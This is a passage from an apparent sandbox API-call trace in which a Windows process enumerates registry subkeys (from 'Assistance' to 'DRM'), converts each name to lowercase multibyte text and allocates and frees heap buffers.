BaseAddress=0x55c0d8) returned 1 [0257.471] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.471] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.471] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x55b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0257.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0257.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x55c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0257.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.471] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.471] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.471] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.471] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x55b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0257.472] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0257.472] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x55c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0257.472] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.472] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.472] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.472] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.472] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x55b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0257.472] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0257.472] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x55c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0257.472] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.472] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.472] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.472] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.472] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x55b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0257.472] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0257.472] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x55c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0257.472] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.472] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.472] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.472] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.472] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x55b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0257.472] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0257.472] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x55c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0257.472] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.472] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.473] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.473] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.473] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x55b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0257.473] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0257.473] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x55c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0257.473] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.473] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.473] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.473] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.473] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x55b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0257.473] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.473] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x55c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0257.473] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.473] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.473] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.473] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.473] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x55b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0257.473] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0257.473] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x55c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0257.473] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.473] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.473] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.473] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.473] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x55b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0257.473] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0257.474] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x55c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0257.474] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.474] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.474] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.474] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.474] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x55b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0257.474] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.474] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x55c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0257.474] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.474] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.474] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.474] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.474] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x55b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0257.474] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0257.474] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x55c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0257.474] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.474] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.474] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.474] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.474] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x55b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0257.474] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.474] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x55c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0257.474] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.474] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.475] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.475] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.475] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x55b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0257.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0257.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x55c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0257.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.475] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.475] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.475] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.475] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x55b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0257.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0257.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x55c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0257.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.475] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.475] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.475] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.475] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x55b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0257.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0257.475] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x55c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0257.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.476] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.476] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.476] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.476] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x55b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0257.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0257.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x55c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0257.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.476] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.476] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.476] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.476] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x55b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0257.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0257.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x55c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0257.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.476] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.476] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.476] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.476] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x55b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0257.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0257.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x55c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0257.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.476] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.476] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.476] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.476] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x55b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0257.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x55c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0257.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.477] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.477] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.477] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.477] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x55b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0257.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0257.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x55c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0257.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.477] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.477] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.477] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.477] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x55b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0257.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x55c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0257.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.477] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.477] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 